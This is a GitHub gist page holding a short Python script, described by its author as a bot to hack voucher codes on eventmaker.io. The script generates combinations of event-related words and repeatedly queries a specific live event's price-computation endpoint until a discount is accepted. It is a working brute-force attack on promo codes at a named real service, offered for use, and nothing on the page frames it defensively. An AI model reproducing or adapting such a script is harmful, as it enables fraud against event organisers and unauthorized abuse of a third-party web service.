Created
January 6, 2019 20:59
-
-
Save ClementWalter/f72e824fadb119c6da524d2702b19f46 to your computer and use it in GitHub Desktop.
Bot to hach voucher code in eventmaker.io website
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import itertools | |
from unittest.mock import sentinel | |
import requests | |
if __name__ == '__main__': | |
alphabet = ['BD', 'GT', 'IDEAL', 'IDEALWINE', '18', '2018', 'BETTANE', 'DESSAUVE', 'GRAND', 'TASTING', 'ID'] | |
product_len = 1 | |
iterator = itertools.product(*(product_len * [alphabet])) | |
code = ''.join(next(iterator)) | |
event_url = 'https://app.eventmaker.io/fr/public/events/5afc3cda8ab5bc00510013ec/guest_categories/5afc40f4fcb5a40024001a26/registrations/is_promo_code_valid' | |
compute_price_url = 'https://app.eventmaker.io/fr/public/events/5afc3cda8ab5bc00510013ec/guest_categories/5afc40c0fcb5a40024001953/registrations/cart_compute_price' | |
while not requests.put(compute_price_url, | |
data={ | |
'linked_guests%5B0%5D%5Bguest_category_id%5D': '5afc3fa08ab5bc00510017aa', | |
'linked_guests%5B0%5D%5Buid%5D':'1', | |
'vat_number_valid': '', | |
'promo_code': code, | |
}).json()['discount_amount']: | |
code = next(iterator, sentinel.END_OF_ITERATION) | |
if code == sentinel.END_OF_ITERATION: | |
print(f'product_len : {product_len}') | |
product_len += 1 | |
iterator = itertools.product(*(product_len * [alphabet])) | |
code = next(iterator, sentinel.END_OF_ITERATION) | |
code = ''.join(code) | |
print(f'code : {code}') | |
if product_len > 5: | |
break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment